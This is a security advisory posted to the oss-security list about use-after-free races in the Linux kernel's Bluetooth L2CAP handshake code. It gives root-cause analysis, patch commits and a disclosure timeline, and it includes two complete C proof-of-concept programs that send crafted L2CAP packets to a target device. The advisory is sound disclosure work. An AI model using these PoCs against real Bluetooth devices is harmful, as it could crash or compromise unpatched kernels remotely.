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Message-ID: <CAFXgH+PXHvA8ueX5P2yYHWeOOdkkPjQLHnG9c1gNd53Y1Ekm1Q@mail.gmail.com>
Date: Wed, 14 Dec 2022 13:13:21 -0500
From: Rafael Correa De Ysasi <rcorreadeysasi@...omium.org>
To: oss-security@...ts.openwall.com
Cc: 3pvd@...gle.com
Subject: Linux Kernel: UAF in Bluetooth L2CAP Handshake
Summary
There are use-after-free vulnerabilities in the Linux kernel's
net/bluetooth/l2cap_core.c's l2cap_connect and l2cap_le_connect_req functions
which may allow code execution and leaking kernel memory (respectively)
remotely via Bluetooth.
The l2cap_le_connect_req bug was introduced in commit 27e2d4c
<https://github.com/torvalds/linux/commit/27e2d4c8d28be1d1b4ecfbffab572d7dbd35254d>
(version:
3.12.0, date: 2013-Dec-05), the SMP channel is available since commit
70db83c
<https://github.com/torvalds/linux/commit/70db83c4bcdc1447bbcb318389561c90d7056b18>
(version:
3.16.0, date: 2014-Aug-14).
Severity
Moderate
Proof of Concept
*UAF read in l2cap_le_connect_req*
*```*
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
typedef struct l2cap_le_conn_req {
uint16_t psm;
uint16_t scid;
uint16_t mtu;
uint16_t mps;
uint16_t credits;
} __attribute__ ((packed)) l2cap_le_conn_req;
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data,
uint16_t data_length) {
uint8_t type = HCI_ACLDATA_PKT;
uint16_t BCflag = 0x0000;
uint16_t PBflag = 0x0002;
uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
hci_acl_hdr hdr;
hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
hdr.dlen = data_length;
struct iovec iv[3];
iv[0].iov_base = &type;
iv[0].iov_len = 1;
iv[1].iov_base = &hdr;
iv[1].iov_len = HCI_ACL_HDR_SIZE;
iv[2].iov_base = data;
iv[2].iov_len = data_length;
return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}
#define L2CAP_CID_LE_SIGNALING 0x0005
#define L2CAP_LE_CONN_REQ 0x14
#define L2CAP_CID_SMP 0x0006
#define L2CAP_CID_SMP_BREDR 0x0007
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s MAC_ADDR\n", argv[0]);
return 1;
}
bdaddr_t dst_addr;
str2ba(argv[1], &dst_addr);
printf("[*] Resetting hci0 device...\n");
system("sudo hciconfig hci0 down");
system("sudo hciconfig hci0 up");
printf("[*] Opening hci device...\n");
struct hci_dev_info di;
int hci_device_id = hci_get_route(NULL);
int hci_socket = hci_open_dev(hci_device_id);
if (hci_devinfo(hci_device_id, &di) < 0) {
perror("hci_devinfo");
return 1;
}
struct hci_filter flt;
hci_filter_clear(&flt);
hci_filter_all_ptypes(&flt);
hci_filter_all_events(&flt);
if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) {
perror("setsockopt(HCI_FILTER)");
return 1;
}
int opt = 1;
if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) {
perror("setsockopt(HCI_DATA_DIR)");
return 1;
}
printf("[*] Connecting to victim...\n");
struct sockaddr_l2 laddr = {0};
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr_type = BDADDR_LE_PUBLIC;
laddr.l2_bdaddr = di.bdaddr;
struct sockaddr_l2 raddr = {0};
raddr.l2_family = AF_BLUETOOTH;
raddr.l2_bdaddr_type = BDADDR_LE_PUBLIC;
raddr.l2_bdaddr = dst_addr;
int l2_sock;
printf("[*] socket\n");
if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
perror("socket");
return 1;
}
printf("[*] bind\n");
if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
perror("bind");
return 1;
}
printf("[*] connect\n");
if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
perror("connect");
return 1;
}
printf("[*] getsockopt\n");
struct l2cap_conninfo l2_conninfo;
socklen_t l2_conninfolen = sizeof(l2_conninfo);
if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo,
&l2_conninfolen) < 0) {
perror("getsockopt");
return 1;
}
uint16_t hci_handle = l2_conninfo.hci_handle;
printf("[+] HCI handle: %x\n", hci_handle);
struct {
l2cap_hdr hdr;
l2cap_cmd_hdr cmd_hdr;
l2cap_le_conn_req req;
} packet = {0};
packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
packet.hdr.cid = htobs(L2CAP_CID_LE_SIGNALING);
packet.cmd_hdr.code = L2CAP_LE_CONN_REQ;
packet.cmd_hdr.ident = 0x1;
packet.cmd_hdr.len = sizeof(packet.req);
packet.req.psm = htobs(0);
packet.req.scid = htobs(0x42);
packet.req.mtu = htobs(23);
packet.req.mps = htobs(23);
packet.req.credits = htobs(0xff);
printf("[*] Sending malicious L2CAP packet...\n");
hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));
close(l2_sock);
hci_close_dev(hci_socket);
return 0;
}
```
*UAF write in l2cap_connect*
*```*
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data,
uint16_t data_length) {
uint8_t type = HCI_ACLDATA_PKT;
uint16_t BCflag = 0x0000;
uint16_t PBflag = 0x0002;
uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
hci_acl_hdr hdr;
hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
hdr.dlen = data_length;
struct iovec iv[3];
iv[0].iov_base = &type;
iv[0].iov_len = 1;
iv[1].iov_base = &hdr;
iv[1].iov_len = HCI_ACL_HDR_SIZE;
iv[2].iov_base = data;
iv[2].iov_len = data_length;
return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}
#define L2CAP_CID_SIGNALING 0x0001
#define L2CAP_CONN_REQ 0x02
#define L2CAP_CID_SMP 0x0006
#define L2CAP_CID_SMP_BREDR 0x0007
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s MAC_ADDR\n", argv[0]);
return 1;
}
bdaddr_t dst_addr;
str2ba(argv[1], &dst_addr);
printf("[*] Resetting hci0 device...\n");
system("sudo hciconfig hci0 down");
system("sudo hciconfig hci0 up");
printf("[*] Opening hci device...\n");
struct hci_dev_info di;
int hci_device_id = hci_get_route(NULL);
int hci_socket = hci_open_dev(hci_device_id);
if (hci_devinfo(hci_device_id, &di) < 0) {
perror("hci_devinfo");
return 1;
}
struct hci_filter flt;
hci_filter_clear(&flt);
hci_filter_all_ptypes(&flt);
hci_filter_all_events(&flt);
if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) {
perror("setsockopt(HCI_FILTER)");
return 1;
}
int opt = 1;
if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) {
perror("setsockopt(HCI_DATA_DIR)");
return 1;
}
printf("[*] Connecting to victim...\n");
struct sockaddr_l2 laddr = {0};
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr_type = BDADDR_BREDR;
laddr.l2_bdaddr = di.bdaddr;
struct sockaddr_l2 raddr = {0};
raddr.l2_family = AF_BLUETOOTH;
raddr.l2_bdaddr_type = BDADDR_BREDR;
raddr.l2_bdaddr = dst_addr;
int l2_sock;
printf("[*] socket\n");
if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
perror("socket");
return 1;
}
printf("[*] bind\n");
if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
perror("bind");
return 1;
}
printf("[*] connect\n");
if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
perror("connect");
return 1;
}
printf("[*] getsockopt\n");
struct l2cap_conninfo l2_conninfo;
socklen_t l2_conninfolen = sizeof(l2_conninfo);
if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo,
&l2_conninfolen) < 0) {
perror("getsockopt");
return 1;
}
uint16_t hci_handle = l2_conninfo.hci_handle;
printf("[+] HCI handle: %x\n", hci_handle);
struct {
l2cap_hdr hdr;
l2cap_cmd_hdr cmd_hdr;
l2cap_conn_req req;
} packet = {0};
packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
packet.hdr.cid = htobs(L2CAP_CID_SIGNALING);
packet.cmd_hdr.code = L2CAP_CONN_REQ;
packet.cmd_hdr.ident = 0x1;
packet.cmd_hdr.len = sizeof(packet.req);
packet.req.psm = htobs(0);
packet.req.scid = htobs(0x42);
printf("[*] Sending malicious L2CAP packet...\n");
hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));
close(l2_sock);
hci_close_dev(hci_socket);
return 0;
}
```
To make SMP available for BR/EDR devices (in case of a hardware supporting
it is not available), you can force it by running: echo Y >
/sys/kernel/debug/bluetooth/hci0/force_bredr_smp
Further Analysis
*Bug Analysis*
There are UAF races in l2cap_connect
<https://github.com/torvalds/linux/blob/2bca25eaeba6190efbfcb38ed169bd7ee43b5aaf/net/bluetooth/l2cap_core.c#L4113>
and l2cap_le_connect_req
<https://github.com/torvalds/linux/blob/2bca25eaeba6190efbfcb38ed169bd7ee43b5aaf/net/bluetooth/l2cap_core.c#L5789>
methods.
After a channel is created via the new_connection callback, it is not
locked but __set_chan_timer sets up a timer which can call
l2cap_chan_timeout and can cleanup the channel before the method finishes,
causing UAF read in l2cap_le_connect_req
<https://github.com/torvalds/linux/blob/2bca25eaeba6190efbfcb38ed169bd7ee43b5aaf/net/bluetooth/l2cap_core.c#L5899>
and UAF write in l2cap_connect
<https://github.com/torvalds/linux/blob/2bca25eaeba6190efbfcb38ed169bd7ee43b5aaf/net/bluetooth/l2cap_core.c#L4247>
.
As the channel timeout is normally 40 seconds
<https://github.com/torvalds/linux/blob/2bca25eaeba6190efbfcb38ed169bd7ee43b5aaf/include/net/bluetooth/l2cap.h#L55>
(L2CAP_CONN_TIMEOUT), winning the race would be infeasible, but due to a
bug in SMP's implementation, SMP channels created by smp_new_conn_cb
<https://github.com/torvalds/linux/blob/2bca25eaeba6190efbfcb38ed169bd7ee43b5aaf/net/bluetooth/smp.c#L3241>
have
their get_sndtimeo callback set to l2cap_chan_no_get_sndtimeo which returns
0
<https://github.com/torvalds/linux/blob/2bca25eaeba6190efbfcb38ed169bd7ee43b5aaf/include/net/bluetooth/l2cap.h#L964>
as
timeout value thus causing the timer to run immediately (on a different
thread) after the __set_chan_timer call.
Note: in l2cap_le_connect_req (without FLAG_DEFER_SETUP), the timer is
canceled via the l2cap_chan_ready call almost immediately after the
__set_chan_timer call, but even this small time window enough for the timer
with 0 timeout to start.
Another root cause of the issue can be that the SMP channel is available
via l2cap_global_chan_by_psm if the request contains psm=0. Multiple
channels can be registered without PSM (PSM is 0, and channel is identified
by SCID) but only one of them is returned (which needs to be SMP to be able
to trigger the vulnerability).
```
static int l2cap_le_connect_req(...)
{
...
mutex_lock(&conn->chan_lock);
...
chan = pchan->ops->new_connection(pchan); // chan is not locked
...
__set_chan_timer(chan, chan->ops->get_sndtimeo(chan)); // triggers
l2cap_chan_timeout running from a different thread
...
if (test_bit(FLAG_DEFER_SETUP, &chan->flags)) { // branch usually not taken
...
} else {
l2cap_chan_ready(chan); // calls __clear_chan_timer(chan), resets timer
result = L2CAP_CR_LE_SUCCESS;
}
...
mutex_unlock(&conn->chan_lock); // l2cap_chan_timeout is blocked
until this call
...
if (chan) { // [7] UAF read
rsp.mtu = cpu_to_le16(chan->imtu);
rsp.mps = cpu_to_le16(chan->mps);
} else {
...
}
```
Similar issue within l2cap_connect:
```
static struct l2cap_chan *l2cap_connect(...)
{
...
mutex_lock(&conn->chan_lock);
...
chan = pchan->ops->new_connection(pchan); // chan is not locked
...
__set_chan_timer(chan, chan->ops->get_sndtimeo(chan)); // triggers
l2cap_chan_timeout running from a different thread
...
mutex_unlock(&conn->chan_lock); // l2cap_chan_timeout is blocked
until this call
...
if (chan && !test_bit(CONF_REQ_SENT, &chan->conf_state) && // UAF read
result == L2CAP_CR_SUCCESS) {
u8 buf[128];
set_bit(CONF_REQ_SENT, &chan->conf_state); // UAF write
l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ,
l2cap_build_conf_req(chan, buf, sizeof(buf)), buf);
chan->num_conf_req++;
}
return chan;
}
```
The affected code path in SMP implementation:
```
static inline struct l2cap_chan *smp_new_conn_cb(struct l2cap_chan *pchan)
{
…
chan->ops = &smp_chan_ops;
…
}
static const struct l2cap_ops smp_chan_ops = {
…
.get_sndtimeo = l2cap_chan_no_get_sndtimeo,
…
};
static inline long l2cap_chan_no_get_sndtimeo(struct l2cap_chan *chan)
{
return 0;
}
```
*Reachability*
SMP channel is available for Bluetooth Low Energy since BT 4.0 (~2009)
which can be used to trigger the UAF read in l2cap_le_connect_req, and it
is also available for BT BR/EDR since BT 5.2 (~2020, to support Secure
Connections) to trigger the UAF write in l2cap_connect.
No other prerequisites were found, the bugs were triggered on a
KASAN-enabled Ubuntu 22.04 kernel (an artificial delay was added before the
UAF read/write to make winning the race easier).
Note: it is possible that the bugs can be triggered via other channels
which may be created automatically by the specific environment.
Patch
The vulnerability was fixed by not accepting 0 as a valid PSM value in
commit 711f8c3
<https://github.com/torvalds/linux/commit/711f8c3fb3db61897080468586b970c87c61d9e4>
and
by preventing l2cap_global_chan_by_psm to give back L2CAP_CHAN_FIXED channels
in commit f937b75
<https://github.com/torvalds/linux/commit/f937b758a188d6fd328a81367087eddbb2fce50f>
.
Timeline
*Date reported*: 10/06/2022
*Date fixed*: 10/26/2022
*Date disclosed*: 11/28/2022
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